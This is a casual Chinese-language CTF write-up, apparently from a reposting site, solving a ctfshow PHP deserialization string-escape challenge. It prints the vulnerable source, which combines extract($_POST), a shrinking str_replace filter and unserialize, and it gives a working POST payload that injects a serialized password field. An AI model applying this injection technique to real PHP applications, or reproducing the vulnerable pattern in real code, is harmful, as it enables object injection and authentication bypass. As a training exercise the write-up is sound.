admin 管理员组文章数量: 886993
PHP反序列化逃逸
生活啊,总是那么处处充满惊喜。
颓废的我,今天被一位师傅突然叫起来刷ctf题,从床上起来,被迫营业,唉。生活不易,仅有十几岁的我,却承受了本不该承受的。
反序列化字符串逃逸
1. 字符增多与字符减少, 我形象地称之为 怼出去和插进来。
别问为什么,(其实我的梦想是一名段子手,生活所迫)
今天先来插进来,至于什么时候怼出去,再说吧。
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{public $username;public $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}public function __wakeup(){if($this->password==='ctfshowvip'){include("flag.php");echo $flag; }else{echo 'wrong password';}}
}
function filter($string){return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){ die("I am sorry but you have to leave.");
}else{extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
审计上面代码,得到解题思路
- 绕过正则 #在php中GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
- 进行序列化与反序列化,序列化的内容,可以看到password=ctfshowvip才可以出flag。(怎么办!!! 你问我? 我也不会,这时候需要爱情的力量)
- 传入$pass_word变量为1";s:8:“password”;s:10:"ctfshowvip
//得到的序列化内容:
O:8:"spaceman":2:{s:8:"username";N;s:8:"password";s:34:"1";s:8:"password";s:10:"ctfshowvip";}
- 看到没,我们要吃掉";s:8:“password”;s:34:"1(一共24个字符)
- 到现在了,我们要怎么吃?(这不得问你女朋友?)上面有个filter函数 可以把ctfshowup变成ctfshow一次是不是逃出来了 两个字符? 有木有? 我们传12个ctfshowup是不是就可以逃出24个字符,有木有。 $user_name在传入12个ctfshowup
payload:
user+name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass+word=1";s:8:"password";s:10:"ctfshowvip
ojbk 就这么简单,又是混子的一天,继续睡觉。
每天一道题,等我八十也能成为大佬。
本文标签: PHP反序列化逃逸
版权声明:本文标题:PHP反序列化逃逸 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1732361968h1535471.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论